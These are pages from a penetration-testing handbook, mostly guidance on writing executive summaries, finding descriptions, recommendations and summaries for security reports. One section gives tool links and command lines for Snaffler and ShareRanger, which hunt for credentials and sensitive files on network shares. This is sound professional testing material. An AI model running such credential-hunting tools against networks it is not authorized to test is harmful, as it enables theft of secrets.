https://handbook.syslifters.com/pentesting-manual/reporting/executive-summaries.md description: How to write the executive summary for CISOs and non-technical leadership. --- # Executive summaries The executive summary is often the only part of the report management reads in full. It is written for CISOs, executives, and other non-technical decision-makers who need to judge overall risk, not individual vulnerability details. It answers **how bad it really is**, what attackers can reach at a high level, and what to do next at an organizational or architectural level. Stay honest and factual. Prefer language already used in the per-finding [summaries](findings/summaries): they are less technical and closer to what leadership can act on. Jargon and detailed verification paths do not belong here unless absolutely necessary. See also [Report writing](report-writing), [Finding summaries](findings/summaries), and [Finding recommendations](findings/recommendations). ## Goal A good executive summary: * Answers **how bad it really is** in plain terms, without inflating or softening what we proved. * Explains **what attackers can reach** at a high level: data, accounts, systems, and operations. * **Highlights risk by combining findings** into an attack path when that path is real and supported by the evidence. * Stays **concise and non-technical** so management can read it once and understand the situation. * Is **mostly based on finding summaries**, not on finding descriptions or raw technical notes. * **Highlights strengths** we observed during testing when they matter (e.g. the SOC detected our attacks within minutes). * Focuses on the **main risks** (typically Critical to High themes). Low and Informational findings can be left out or folded into a short continuous-hardening note. * Ends with **strategic recommendations**: higher level than per-finding fixes, aimed at organizational or architectural issues. * Includes **operational judgment** only when necessary, especially when issues create existential or very high threats. Length is a **soft target**, but aim for half a page: long enough to paint a clear picture of the risk, short enough not to be bloated. Engagements with many findings often need a longer executive summary; engagements with a few clear themes can stay short. :::tip Quick rules of thumb * **Lead with the headline.** State the worst realistic outcome in the first paragraph. * **Build from finding summaries.** Reuse their plain-language outcomes. Do not pull jargon, tool names, or step-by-step verification from descriptions unless the exec summary cannot make the point without it. * **Chain findings when the path is real.** If finding A enables finding B, say so. Do not invent missing links or inflate the end state beyond what we demonstrated or can credibly support. * **Outcome over mechanism.** State what an attacker could access, control, or disrupt. Do not walk through how we exploited each issue. * **Stay honest.** Answer "how bad is it?" with verified facts and clear limits of testing. No hypothetical worst cases. * **Recommend strategically.** Prefer organizational and architectural direction over per-endpoint configuration detail. * **Highlight strengths when noticed.** If a control worked in practice (detection, segmentation, hardened admin access), say so with a concrete observation. * **Skip Low and Informational detail.** Cover Critical to High themes. A line such as "Remaining lower findings belong in continuous hardening" is enough. * **Add operational judgment only when needed.** Usually skip it when the posture is already solid and only a few Critical or High findings remain. Include it when issues can lead to existential or very high threats (e.g. domain takeover reaching OT, full internet-facing takeover). * Write in **past tense** (see [Report writing](report-writing)). ::: ## What leadership needs to decide | Question | What to cover | | --- | --- | | **How bad is it?** | Overall risk in plain terms. | | **What can attackers reach?** | High-level outcomes we demonstrated or credibly chained: data, systems, accounts, operations. | | **What did we find?** | Grouped Critical to High themes or a short attack-path narrative, not a flat list of every finding. | | **What is already good?** | Strengths we noticed (e.g. fast SOC detection) and client initiatives already underway. | | **Do systems need special handling now?** | Only when threats are existential or very high. Otherwise omit. | | **What should happen next?** | Strategic, medium- to long-term priorities. Not every bullet from every finding. | ## Structure A typical executive summary flows like this: 1. **Headline and overall posture** (1 short paragraph): worst credible outcome, plus strengths if we noticed them. 2. **Combined impact** (1 to 2 paragraphs): what an attacker could ultimately reach when weaknesses work together. Name the business consequence, not each technical step. 3. **Operational judgment** (optional): whether to keep systems running, add monitoring, segment networks, or restrict access while remediating. Include only when necessary. 4. **Grouped themes and strategic recommendations** (remainder): main Critical to High themes and medium- to long-term next steps. Lower findings can be one short continuous-hardening sentence. Not every engagement needs all sections. The flow matters more than the headings. Prefer clarity over a fixed length: paint the risk picture fully, but do not pad. Many findings often mean a longer executive summary; few themes can stay short. ## Start from finding summaries Write the executive summary after the finding summaries exist, or at least draft from their wording. Summaries already strip most technical detail and state impact for a management audience. | Source | Use in the executive summary? | | --- | --- | | [Finding summaries](findings/summaries) | Yes. Primary input for outcomes, who can exploit, and limits. | | [Finding titles](findings/titles) | Yes, for grouping themes. | | [Finding descriptions](findings/descriptions) | Rarely. Use only when a summary is missing a fact you must state at engagement level. | | [Finding recommendations](findings/recommendations) | Indirectly. Lift themes (identity, segmentation, authorization), not per-control bullets. | If a sentence needs a protocol name, CVSS score, CWE ID, tool name, or reproduction step to make sense, it probably belongs in a finding description, not here. ## Combine findings into attack paths Executives do not benefit from a flat list of fifteen medium findings. When several findings form a useful attack path, highlight that path so the combined risk is visible. Separate issues often look moderate on their own; together they can show a clear route to a much worse outcome. Stay factual: * Chain findings when roles, access levels, or systems clearly link them (e.g. unauthenticated access leads to a standard user session, which leads to admin password reset). * Do not invent links we did not prove, assume production abuse we did not test, or claim an end state beyond what the evidence supports. * Do not inflate by chaining weakly related issues just to sound dramatic. | Separate listing (weak) | Chained outcome (strong) | | --- | --- | | "3x high: LDAP signing missing, SMB signing partial, LLMNR enabled" | "A standard employee account could be escalated to full control of Active Directory, including systems that rely on it for authentication." | | "2x critical on portal, 1x high on API" | "An external attacker could access other customers' orders and administrative functions through the customer portal." | | "Unauthenticated users can bypass authentication and log in as a standard user" and "A standard user can reset passwords of other users, including admins" listed as two unrelated highs | "Unauthenticated attackers could take over the website: they could bypass login to reach a standard account, then reset administrator passwords and gain full control." | Lead with **what is at risk**. Mention **who can reach it** when that changes the decision. Keep the path at business level: starting access, what that unlocked, and the end state. Leave technical details (e.g. protocols, commands, jargon, detailed enpoints, etc.) for descriptions. ### Example (findings left separate) > We found that unauthenticated users can bypass authentication and log in as a standard user. Separately, a standard user can reset passwords of other users, including administrators. Each sentence is true, but leadership may treat both as local flaws and miss that together they allow full site takeover from the internet. ### Example (chained path) > Unauthenticated attackers could take over the website. We were able to bypass the login page and obtain a standard user session. With this session we were able to reset passwords of any user, including administrators. Combined, that path gives an external attacker administrative control of the application without a valid account. Both steps were demonstrated. Connecting them makes the combined risk obvious without inventing anything. ### Example (too technical) > Starting from a standard workstation, we chained missing LDAP signing with weak SMB protections and name-resolution abuse to obtain domain administrator access and reach the OT environment. This reads like a finding description. Leadership needs the path in outcome terms, not the protocol-level chain. ### Example (outcome-focused chain) > Weaknesses in workstation and domain authentication controls allowed any standard employee to gain administrative control of Active Directory and reach OT systems that share the same identity platform. Same severity, but the reader sees the business consequence and the combined path without the relay mechanics. ## Be honest about how bad it is * State only what we **verified** or could credibly chain from verified steps. * Say when **time or scope** limited testing: "We did not assess the mobile application" or "We could not test the production OT segment." * Do not predict **regulatory fines, reputational damage, or compliance outcomes**. * If compensating controls reduced risk during the test (SOC monitoring, network segmentation), say so, but do not imply they remove the need to fix root causes. * If the client is already remediating (PAM, LDAP signing rollout), mention it without suggesting the problem is solved. * Do not soft-pedal critical outcomes to sound polite, and do not overstate them to force urgency. ## Highlight strengths when noticed If we observed a control working during the test, say so. Concrete strengths help leadership judge residual risk and where investment already pays off. Examples: * "The SOC identified several of our attack attempts within minutes and opened incidents." * "Administrative access to the customer portal was already limited to the internal network, which reduced the exposure of the session-management flaw." * "Endpoint protection blocked multiple payload attempts on employee workstations." Mention strengths that we actually saw. Do not invent a positive tone by listing generic best practices the client might have. Strengths do not cancel Critical findings; they put them in context. ## Operational judgment (only when needed) Include operational judgment only when it changes what leadership should do now. Typical cases: | Situation | Operational judgment? | | --- | --- | | Solid posture overall, only a few Critical or High findings, no existential exposure | Usually omit | | Issues that can lead to existential or very high threats (e.g. domain compromise reaching OT, full internet-facing takeover) | Include | | Leadership needs a clear go / restrict / isolate message while remediating | Include | When you include it, answer directly: * "The customer portal can remain in production if administrative access is restricted to the internal network until the session management flaw is fixed." * "OT systems should be treated as exposed to domain compromise until domain authentication hardening is enforced or OT networks are completely segmented from user workstations and domain controllers." * "We did not identify issues that require an emergency shutdown, but two findings should be remediated within the next sprint before further external exposure." Avoid vague lines like "risk should be addressed in a timely manner" without saying what that means for operations. ## Strategic recommendations Executive summary recommendations are **higher level** than individual finding recommendations. They tackle organizational or architectural issues and point direction over the medium to long term. | Level | Belongs in | | --- | --- | | "Complete the planned PAM rollout and restrict standing domain admin access." | Executive summary | | "Segment OT from office networks before expanding partner VPN access." | Executive summary | | "Prioritize fixing authorization flaws that allow customer or admin takeover on internet-facing apps." | Executive summary | | Set a specific GPO, registry key, or cookie attribute | [Finding recommendations](findings/recommendations) | Order by business effect, not by CVSS score alone. You do not need to restate every finding recommendation. Cover the themes that change how the organization runs identity, network boundaries, privileged access, or application security programs. Low and Informational findings usually do not need individual mention. A short closing line is enough, for example: "Remaining lower findings belong in continuous hardening." ## Full example Below is an example based on a typical internal / AD engagement. > We identified a solid security baseline at XYZ, but critical vulnerabilities could allow low-privileged attackers to compromise administrative accounts and OT infrastructure. Network access is well protected through centralized authentication, multiple endpoint security solutions, and continuous monitoring by a security operations center. During testing, the SOC identified several of our attack attempts within minutes. Further measures are currently being implemented, including Privileged Access Management (PAM), which will strengthen the overall security level once fully rolled out. > > Despite this foundation, we identified several weaknesses that together allow a broader compromise of the environment. Authentication and network controls on employee workstations could be bypassed to gain administrative control of Active Directory, and OT-related systems that rely on the same identity platform. Separately, an internal web application exposed sensitive HR data to users who should not have access. In both cases, a normal employee account with standard remote access was enough. Physical access or insider knowledge was not required. > > Because domain compromise could reach OT systems that share the same identity platform, OT should be treated as exposed until domain authentication hardening is enforced or OT networks are segmented from office networks and domain controllers. > > Over the medium and long term, we recommend completing PAM deployment, reducing standing domain administrator accounts, hardening domain authentication controls on domain controllers, and segmenting OT from office networks. Application teams should address authorization flaws in the HR platform in parallel. Re-test after these controls are in place to confirm the authentication and application issues are closed. Remaining lower findings belong in continuous hardening. This example leads with impact, highlights a concrete strength (SOC detection), chains related outcomes, adds operational judgment because OT exposure is a very high threat, and closes with strategic priorities plus a short note on lower findings. ## Executive summary vs. finding summary | | Executive summary | Finding summary | | --- | --- | --- | | **Scope** | Whole engagement | Single finding | | **Length** | Soft target: clear picture, not bloated. Longer when many findings | A few sentences | | **Reader** | CISO, executive leadership | Department lead, management | | **Detail** | Critical to High themes, combined attack paths, judgment only if needed | One issue's impact and preconditions | | **Source** | Mostly finding summaries, grouped and chained | Drawn from that finding's description | | **Recommendations** | Strategic, organizational or architectural | Per-finding fixes | ## Common mistakes * **Burying the headline** by opening with scope, methodology, or a findings count table. * **Writing from descriptions** and dragging jargon, tools, or verification paths into the exec summary. * **Flat finding lists** with no grouping or combined-outcome narrative. * **Missed attack chains** where related findings (for example auth bypass plus privilege escalation) are left as separate issues instead of one path to a worse outcome. * **Hypothetical or inflated chains** that invent steps, stretch weakly related issues, or claim an end state we did not support. * **Exploitation walkthroughs** that describe how we abused each issue instead of what an attacker could ultimately reach. * **All negative** with no mention of strengths we actually observed. * **All positive** that understates critical issues leadership must act on. * **Listing every Low or Informational** instead of focusing on main risks and a short continuous-hardening note. * **Operational judgment by default** when the posture is already solid and no existential or very high threat exists. * **Technical jargon** without a plain-language outcome. * **Scanner tone** ("47 vulnerabilities identified") instead of business consequences. * **Finding-level recommendations** restated as the whole next-step section, instead of organizational or architectural direction. * **False precision** on compliance, fines, or reputation without evidence or client request. * **Bloated length.** Paint a clear picture. Cut padding, not the headline. Longer text is fine when many findings need grouping. ## Further reading * [OWASP Web Security Testing Guide — Reporting](https://owasp.org/www-project-web-security-testing-guide/latest/5-Reporting/) * [Google Tech Writing Course — Audience and scope](https://developers.google.com/tech-writing/one/audience) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/enumeration/fileshare-enumeration.md description: >- Techniques and tools for discovering and analyzing SMB file shares in AD environments. --- # Fileshare enumeration ## Snaffler Enumerate file shares in the local network to find credentials and sensitive files. 1. Find the Syslifters compiled Snaffler version here: [Snaffler.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Snaffler/Debug/Snaffler.exe) 2. Run `snaffler.exe -s -o snaffler.log` 3. After running Snaffler, parse the `snaffler.log` with our log parser [snaffler\_parse.py](https://github.com/Syslifters/snaffler-parse) for colored CLI output, filtering, and XLSX export: ```powershell Usage: python snaffler_parse.py # colored CLI output python snaffler_parse.py -x output.xlsx # export to XLSX python snaffler_parse.py -s black,red # filter by severity python snaffler_parse.py -t file # only File findings python snaffler_parse.py -t share # only Share findings python snaffler_parse.py --host SGRZSCCM1 # filter by hostname python snaffler_parse.py --rule KeepConfig # filter by rule name python snaffler_parse.py --stats # summary statistics ``` ## ShareRanger Use [ShareRanger](https://github.com/Syslifters/offsec-tools/blob/main/bin/shareranger.exe) to enumerate file shares in the local network and to find credentials, sensitive files, as well as writable directories (e.g., web roots). ```powershell Usage: python -m shareranger.cli ./shareranger.exe ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/reporting/findings/descriptions.md description: >- How to write technical finding descriptions that are complete, reproducible, and fair. --- # Finding descriptions The description is the technical body of a finding. It should let another engineer understand what we found, how we got there, and how to verify it themselves. See also [Report writing](../report-writing), [Finding titles](titles), and [Screenshots](../screenshots). ## Goal A good description: * Contains all essential information needed to understand and reproduce the issue. * Follows a clear path from observation to conclusion. * Walks through the path as a clear sequence of actions, usually in narrative prose rather than a numbered list. * Stays factual and does not defame anyone. * Explains unfamiliar technology in a short paragraph when needed. * States limitations openly when we could not fully investigate. :::tip Quick rules of thumb * Write in **past tense** and prefer **active voice** (see [Report writing](../report-writing)). * Write a **step-by-step path** in narrative prose. Prefer sentences that lead the reader through what we did, not a default `1.`, `2.`, `3.` list. Number steps only when a list genuinely helps, for example a long reproduction sequence with many tools or commands. * **Tailor every description** to the client's environment. Include their actual hostnames, paths, and roles. * **Redact sensitive data** (tokens, passwords, names of uninvolved people). See [Report writing](../report-writing) and [Screenshots](../screenshots#redact-sensitive-data). ::: ## Walk the reader to the conclusion The description is not a list of disconnected facts. It is a short narrative that answers: how did we know this was a real issue? A clear path usually looks like this: * We started from X (entry point, account, or exposed surface). * We tried Y (specific action or payload). * The application responded with Z (error, unexpected data, or elevated access). * Therefore, an attacker with the same preconditions could ... Avoid jumping straight to the impact without showing how we reached it. If we chained multiple weaknesses, explain each link in order. ### Example (good narrative flow) > During testing of the customer portal at `app.example.com`, we logged in as a standard user. After authentication, the application set a session cookie named `SESSION` that contained a plaintext `userId` field. We changed the `userId` value from our account identifier to the administrator's identifier, and resent it with a request to `/portal/admin`. The server accepted the modified cookie and returned the administrator dashboard. This shows that the application trusts the user identifier inside the session cookie without server-side validation. The `userId` in the session cookie could be changed to any user, including administrators; therefore, authenticated attackers could take over the application. The path is clear without numbering: login, observe the cookie, change a value, resend, observe the result, conclude. Prefer this narrative style for most findings. Additionally, add screenshots where it matters. ### Example (too abrupt) > The application suffered from insecure session management where users could impersonate other users by changing a cookie value. Authenticated attackers could therefore take over administrator accounts. The second version states a conclusion without the path and is too vague. The reader cannot verify or reproduce it. ## Reproduction steps Reproduction steps belong in the description. They should be complete enough that another technical person can repeat the test. Write them as a continuous narrative that shows order and outcome, not as a numbered checklist by default. Include: * Preconditions (account type, network access, required tools, limitations). * Exact URLs, HTTP methods, headers, or commands. * Payloads or parameter values we used. * What the reader should expect at each step (status code, response snippet, UI change). Use `1.`, `2.`, `3.` only when numbering makes the sequence easier to follow than prose, for example many discrete commands or a long multi-tool chain. Most findings read better as paragraphs that still move step by step. ## Explain unfamiliar technology If understanding the finding requires niche or highly specific knowledge, add a short **background** paragraph (two to three sentences) before the technical details. Explain what the technology is and how it is used in this environment. Write for an engineer who may not work with that stack every day. ### Example > **Background:** Azure AD Conditional Access policies evaluate sign-in requests against rules such as device compliance and location. In this engagement, remote access to the VPN relied on a policy that only checked group membership, not device state. Keep background paragraphs factual and short. Do not turn them into product documentation. ## Stay factual Descriptions are often read by engineers and developers. Write about **systems, configurations, and behaviors** and not about people's competence or intent. * Attribute issues to **missing controls, misconfigurations, or code flaws**, not to individuals. * Do not name employees, contractors, or third parties unless it is strictly required to reproduce the finding (and even then, prefer roles: "a domain administrator account" instead of a person's name). * Avoid blame language ("negligent", "incompetent", "obviously broken"). State what we observed and what it enables. * Do not speculate about **why** someone made a decision unless we have direct evidence. "The setting was enabled" is fine; "the admin carelessly enabled" is not. * Do not assign **business, compliance, or reputational impact** beyond what we verified in testing. That is for the client to assess. ## Be transparent about limitations If we could not fully confirm something, say so plainly. Partial findings are still worth reporting when we explain the gap. Examples: * "Due to time constraints, we did not verify whether this issue affects all tenant environments." * "We confirmed read access to the endpoint but did not attempt to modify production data." Transparency builds trust. It also helps the client prioritize follow-up work. ## What to include in every description At minimum, make sure the reader can answer: | Question | Example detail | | --- | --- | | **Where?** | Hostname, URL path, API endpoint, AD object, or file path | | **What?** | Vulnerability type or misconfiguration (linked to the title) | | **Who?** | Required access level: unauthenticated, standard user, admin | | **How?** | Steps, tools, and payloads we used | | **Proof?** | Screenshot, request/response, or command output | ## Common mistakes * **Generic copy-paste text** that does not mention the client's systems. * **Missing preconditions**, so the reader cannot reproduce the issue. * **Default numbered lists** (`1.`, `2.`, `3.`) for every action when prose would already make the order clear. * **Walls of text** that hide the sequence of what we did and what happened next. * **Conclusions without evidence**, or evidence without explaining what it proves. * **Buried key detail**, the affected URL or account type hidden in a long paragraph. * **Sensitive data left in** screenshots or request dumps. ## Further reading * [OWASP Web Security Testing Guide — Reporting](https://owasp.org/www-project-web-security-testing-guide/latest/5-Reporting/01-Reporting_Structure) * [Google Tech Writing Course](https://developers.google.com/tech-writing/overview) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/reporting/findings/recommendations.md description: >- How to write actionable finding recommendations as bullet points with full sentences. --- # Finding recommendations Recommendations tell the client how to fix or mitigate the finding. They should be concrete enough that a developer or administrator knows what to change, without repeating controls the client already has in place. Prefer direct verbs that name the action and, when helpful, a short reason: plain language, short sentences, and general control terms rather than a patch specification. See also [Report writing](../report-writing), [Finding descriptions](descriptions), and [Finding summaries](summaries). ## Goal A good recommendation: * Addresses the general root cause we identified in the [description](descriptions). * Names the **control pattern** to implement (e.g. object-level authorization, session binding) rather than re-stating endpoint paths, parameters, or comparison logic from the description. * **Sounds natural**: plain words and short sentences, not stiff compliance phrasing. * Is written as **bullet points with full sentences**. * Uses a **direct verb** for the main action (e.g. "Set …", "Remove …", "Validate …") or "We recommend …" followed by the action (e.g. "We recommend setting …"). Do not use "you should …". * Is tailored to the client's stack, architecture, and constraints. * Skips controls that are **already implemented** during our testing. * Notes **pros and cons** when a fix is not straightforward or may not fit the client. :::tip Quick rules of thumb * **Use direct verbs.** Start with the action the client should take (see [Report writing](../report-writing)). "Set the `HttpOnly` attribute on session cookies to prevent JavaScript from reading the cookie" is clearer than "You should enable cookie security." "We recommend setting the `HttpOnly` attribute …" is also fine when it reads more naturally. * **Fix the root cause.** Prefer correcting the flawed design or configuration over generic hardening advice. * **Name the control pattern.** Use correct security terminology (e.g. object-level authorization, session binding, authorize users on every request). Save endpoint paths, parameter names, and step-by-step implementation logic for the [description](descriptions). * **Sound natural.** Write as you would in a code review: "check that the logged-in user may change this account" rather than "derive the authenticated user from the server-side session" or "verify the authenticated user is permitted to modify the requested resource." * **One bullet, one action.** Each point should stand on its own as a complete sentence. * **Skip redundant advice.** If `HttpOnly` is already set on session cookies, do not recommend it again. * **Acknowledge trade-offs.** When a fix has downsides or depends on business decisions, say so briefly. ::: ### Example (good recommendations) For a session cookie missing the `HttpOnly` flag: * Set the `HttpOnly` attribute on session cookies to prevent JavaScript from reading the cookie. * We recommend setting the `SameSite` attribute to `Strict` on session cookies to reduce cross-site request risks. For a session cookie impersonation finding: * Sign session tokens with a tamper-resistant format (e.g. JWTs with appropriate algorithms). * Authorize the user on every request, not just on login. Each bullet names the control and what it achieves. None of them repeat controls we already observed working during the test. ### Example (too expressive or over-specific) For an IDOR on a password-change endpoint: > * Extract the user ID exclusively from the user's server-side session and do not accept client-side user IDs passed in the `user` parameter of the `POST /api/users/change-password` endpoint. Compare the user ID retrieved from the session with the target user ID of the password change request, and reject requests where the IDs do not match. > * Implement object-level access control for all endpoints under `/api/users/` so that every request verifies whether the authenticated user is authorized to modify the specified resource. > * We also recommend resetting the administrator password immediately as a mitigation measure and reviewing the application logs for unexpected password changes to determine if the vulnerability has already been exploited. These bullets read like a patch specification. The first point walks through parameter names, HTTP methods, and comparison logic that belong in the description. The phrasing is also unnaturally formal ("extract exclusively", "client-side user IDs passed in"). A tighter version for the same finding: * Identify users through tamper resistant session tokens * Authorize users on every request to user-management endpoints: confirm the logged-in user may change the account they are targeting. * Reset affected administrator passwords and review logs for signs of exploitation. The revised bullets state what to fix in plain language, without re-describing the exploit path or sounding like a policy document. ### Example (too vague) * Improve session management. * Follow security best practices. * Consider using encryption. These do not tell the client what to change or where. ## Do not recommend what is already in place During testing we often see partial mitigations or correct settings on related controls. Do not recommend those again. Before adding a bullet, check whether we already verified the control: | We observed during testing | Do not recommend | | --- | --- | | Session cookies have `HttpOnly` and `Secure` | "Set the `HttpOnly` flag on session cookies" | | Parameterized queries in the affected endpoint | "Use prepared statements" for that same endpoint | | MFA enforced for all admin accounts | "Enable MFA for administrators" | | WAF blocking the exact payload we used | WAF rules as the only fix (note them as interim if code is still vulnerable) | If a control is present but incomplete (e.g. `HttpOnly` set but not `SameSite`), recommend only the missing part: "Set the `SameSite` attribute to `Strict` on session cookies." ## Address the root cause Recommendations should close the path we demonstrated in the description. Compensating controls are acceptable as interim measures, but the primary recommendation should fix the underlying issue. | Finding | Weak recommendation | Strong recommendation | | --- | --- | --- | | SQL injection in search | Deploy a WAF rule | Replace string concatenation with prepared statements and stored procedures | | IDOR on profile API | "Review access controls" | Enforce object-level authorization: verify the authenticated user owns the `userId` before returning or updating the record | | Weak TLS cipher suite | "Use strong encryption" | Disable `TLS_RSA_WITH_*` ciphers on `app.example.com` and enable only TLS 1.2+ with forward-secret cipher suites | When we suggest a compensating control (WAF, rate limiting, network segmentation), label it as interim and still recommend the root cause fix. ## Pros and cons when fixes are not straightforward Some recommendations conflict with how the client runs their business, cost money, or break existing workflows. When that applies, add a short note on trade-offs in the same bullet or in a follow-up sentence. ### Example (with trade-offs) For an LDAP relay finding (e.g. NTLM relay to LDAP on a domain controller): * Enforce [LDAP signing](https://learn.microsoft.com/en-gb/troubleshoot/windows-server/active-directory/enable-ldap-signing-in-windows-server) and LDAPS channel binding on domain controllers to prevent NTLM relay attacks on LDAP servers. When implementing, follow the sequence recommended by Microsoft to prevent network problems (see linked resources and [ADV190023](https://msrc.microsoft.com/update-guide/vulnerability/ADV190023)). Legacy applications and OT systems often rely on unsigned LDAP, so inventory and test affected systems before enforcing signing domain-wide. * If enforcing LDAP signing is not possible, reduce the risk of successful exploitation by configuring the following: * Add all administrative users to the [Protected Users](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) group. * If adding administrative users to Protected Users is not possible, ensure that at least the *Account is sensitive and cannot be delegated* flag is set on all admin accounts. * Disable LLMNR, NBT-NS, and mDNS name resolution in local computer security settings or via Group Policy. * In addition, implement the following measures: * Enable Enhanced Protection for Authentication (EPA) on web servers that support AD authentication, and configure them to accept only requests where EPA is enabled. This prevents attackers from relaying NTLM messages into TLS sessions. * Enable SMB signing on all systems in the network and ensure SMBv1 is no longer supported, to block simpler NTLM relay attacks over SMB. * Reduce NTLM usage where possible and prefer Kerberos instead. * Deploy IDS/IPS to detect man-in-the-middle activity and support network-level containment. * Segment networks and infrastructure components to limit the reach and impact of man-in-the-middle activity. The first bullet is the primary fix and notes the rollout trade-off. The second bullet gives alternatives when signing cannot be enforced yet. The remaining bullets add defense in depth around the same attack class. ### Example (business constraint) * Restrict VPN access to managed devices through Conditional Access. This closes the relay path we used but may block contractors on personal laptops until an alternative access method is provided. Be honest about limitations. The client decides whether the trade-off is acceptable. ## Order and priority When multiple bullets are needed, order them by effect: 1. Root cause fix (what fully closes the finding). 2. Defense in depth (additional hardening that limits blast radius). 3. (optional) Interim or compensating controls (while a larger change is planned). If one action is clearly urgent, say so in the bullet: "As an immediate step, revoke ..." ## Common mistakes * **"You should" phrasing** instead of a direct verb ("Set", "Remove", "Validate") or "We recommend setting …". * **Generic boilerplate** copied from a template without reference to the client's environment. * **Over-specific implementation** that repeats the description: parameter names, exact endpoints, or comparison steps instead of naming the control (e.g. "authorize users on every request"). * **Stiff or unnatural phrasing** such as "derive the authenticated user", "client-supplied identifiers", or long formal sentences that no one would say out loud. * **Expressive or patch-spec wording** with long sentences or heavy emphasis. * **Already implemented controls** recommended again because we did not check existing settings. * **Symptom-only fixes** such as a WAF rule with no mention of fixing vulnerable code. * **Incomplete sentences** or fragment bullets like "Parameterized queries." * **Too many bullets** listing every hardening guide item when two targeted changes would suffice. * **Missing trade-offs** on disruptive changes that the client may reject without discussion. ## Further reading * [OWASP Web Security Testing Guide — Reporting](https://owasp.org/www-project-web-security-testing-guide/latest/5-Reporting/) * [Google Tech Writing Course](https://developers.google.com/tech-writing/overview) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/reporting/findings/summaries.md description: >- How to write finding summaries for management, department leaders, and CISOs, focused on business impact. --- # Finding summaries The summary is the non-technical introduction to a finding. It is written for management, department leaders, and similar roles, sometimes including CISOs who need the business picture of a specific finding. The [description](descriptions) carries the full technical analysis. The summary answers why leadership should care. See also [Finding titles](titles), [Report writing](../report-writing), and [Executive summaries](../executive-summaries). ## Goal A good summary: * Leads with the biggest validated impact in the first sentence (e.g. platform takeover, account takeover). * States what an attacker could achieve in the client's environment. * Explains how we reached that outcome in plain language, in one to three sentences. * Names requirements and limitations (who can exploit it, what we did not test). * Is tailored to the client's systems, data, and roles. * Is short, but should not miss critical information. :::tip Quick rules of thumb * **Impact first.** Open with what is at risk, not with the vulnerability category. * **Plain language.** Avoid jargon (CVSS vectors, CWE IDs, protocol names) unless absolutely required. * **Verified outcomes only.** Describe what we demonstrated, not theoretical worst cases we did not test. * **Name the client's context.** Refer to the specific portal, customer database, VPN, or admin role, not "the application" or "the server" (except when only one application was assessed). Name the feature or page in plain language. Full URLs, API paths, and parameter names belong in the [description](descriptions) unless a short name is needed for clarity. * **Keep it short.** Two to four sentences for the whole summary is usually enough. The attack path (how we got there) should be one to three sentences on its own at maximum. * **Outcome over mechanism.** Describe what we could do and what that unlocked, not how we did it technically. Tool names, file paths, API endpoints, command-line steps, and similar belong in the description. * Write in **past tense** (see [Report writing](../report-writing)). ::: ## What every summary should answer | Question | What to cover | | --- | --- | | **What is the impact?** | First sentence. What data, accounts, or operations are at risk? | | **What goal did we reach?** | What we actually achieved during the test (e.g. administrator access, read customer records). | | **How did we get there?** | One to three sentences in business terms. State what each step unlocked, not how we performed it technically. No payloads, commands, or step-by-step reproduction. | | **What are the requirements and limitations?** | Who can exploit it (any internet user, logged-in customer, internal employee). What we did not verify. | Not every summary needs four separate sentences. Often one paragraph covers all four. A busy reader should be able to skim it and understand the risk. ## Structure A typical summary flows like this: 1. Impact: what matters to the business. 2. Goal reached: what we proved during the engagement. 3. Path: how we got from entry point to that goal, in one to three plain-language sentences. 4. Requirements and limitations: preconditions and any gaps in our testing. ### Example (good summary) > Logged-in users could fully take over the online shop, by changing other user's passwords, including the administrator's. During the test, we logged in as a regular shop customer and changed the administrator's password via the password change function. With the newly set password, we gained access to the administrator account and had full access to all customer orders, user accounts, and configuration settings. Any user with a valid login could exploit this flaw to compromise the system and access sensitive customer data. This summary names the client's portal, the data involved, who can exploit it, and what we demonstrated, without HTTP details or cookie field names. ### Example (too technical) > The application stores the `userId` in a client-side session cookie without integrity protection. We modified the cookie and accessed `/portal/admin`, which returned HTTP 200. CVSS 8.8, CWE-565. Management readers cannot act on this. It describes mechanism, not business consequence. ### Example (too vague) > Insecure session management could allow attackers to compromise the application. This does not say what is at risk, what we achieved, or who can exploit it. It could apply to any client. ## Explain the path briefly The attack path should be easy for a non-technical reader to follow. Focus on what each step made possible, not the technical method we used to perform it. ### Example (path too technical) > By reading environment variables on the server, we discovered AWS keys and could subsequently access customer data through the AWS CLI. This is accurate but names implementation details (environment variables, AWS CLI) that do not help a manager prioritize remediation. ### Example (path in plain language) > We were able to read local files on the server. This granted us access to AWS credentials which we could use to access customer data through the application's S3 bucket. The second version omits env variables and the CLI, but still conveys the chain: local file read, credential exposure, customer data access. That is enough for the summary. ## Name the component without over-specifying Summaries should say which part of the client's system is affected, but not with the same precision as the description. Prefer the page, feature, or role a manager would recognize. Exact URLs, query parameters, and API paths belong in the description. | Too detailed for a summary | Enough for a summary | | --- | --- | | "We discovered an open redirect vulnerability in `https://example.com/login/` in the `redirect` parameter." | "We discovered a vulnerability in the `redirect` parameter on the login page which allowed us to redirect users to an arbitrary site." | | "The `POST /api/users/change-password` endpoint accepted a client-supplied `userId`." | "The password change function on the customer portal let us change other users' passwords." | The tailored version still names where the issue sits. It drops locator detail that does not help a management reader prioritize the finding. ## Focus on impact Summaries exist so decision-makers can prioritize remediation without reading the full description. Translate technical outcomes into what they mean for the organization: * **Access:** "full control of the hiring platform", "read access to all customer invoices" * **Data:** "exposure of employee records in the HR system", "ability to change payment details" * **Operations:** "ability to disable user accounts", "ability to deploy code to production servers" Tie impact to **assets we tested**, not abstract risk categories. "High confidentiality impact" is weaker than "access to 12,000 customer records in the CRM". Stay within what we verified. Do not claim regulatory fines, reputational damage, or compliance failures unless that is explicitly in scope and supported by evidence (see [Finding titles](titles)). ## Tailor to the client's environment Generic summaries read like scanner output. Replace template phrases with specifics from the engagement: | Generic | Tailored | | --- | --- | | "the web application" | "the customer self-service portal" | | "sensitive data" | "customer order history and delivery addresses" | | "administrator access" | "access to the backend used by the support team" | | "authenticated users" | "any logged-in B2B partner account" | If the finding affects a named system, business unit, or data type the client cares about, say so in the summary. Hostnames and full URLs are optional in the summary when the page or feature name already identifies the component. ## Requirements and limitations Clarify who can exploit the finding and what we did not test when it matters for prioritization. Examples: * "Exploitation requires a valid employee account on the corporate VPN." * "We confirmed read access to the database but did not modify or delete records." Transparency helps leadership judge urgency and follow-up work. It also avoids overstating risk. ## Summaries vs. titles vs. descriptions | Section | Audience | Purpose | | --- | --- | --- | | [Title](titles) | Everyone | One-line headline: impact, who, cause | | Summary 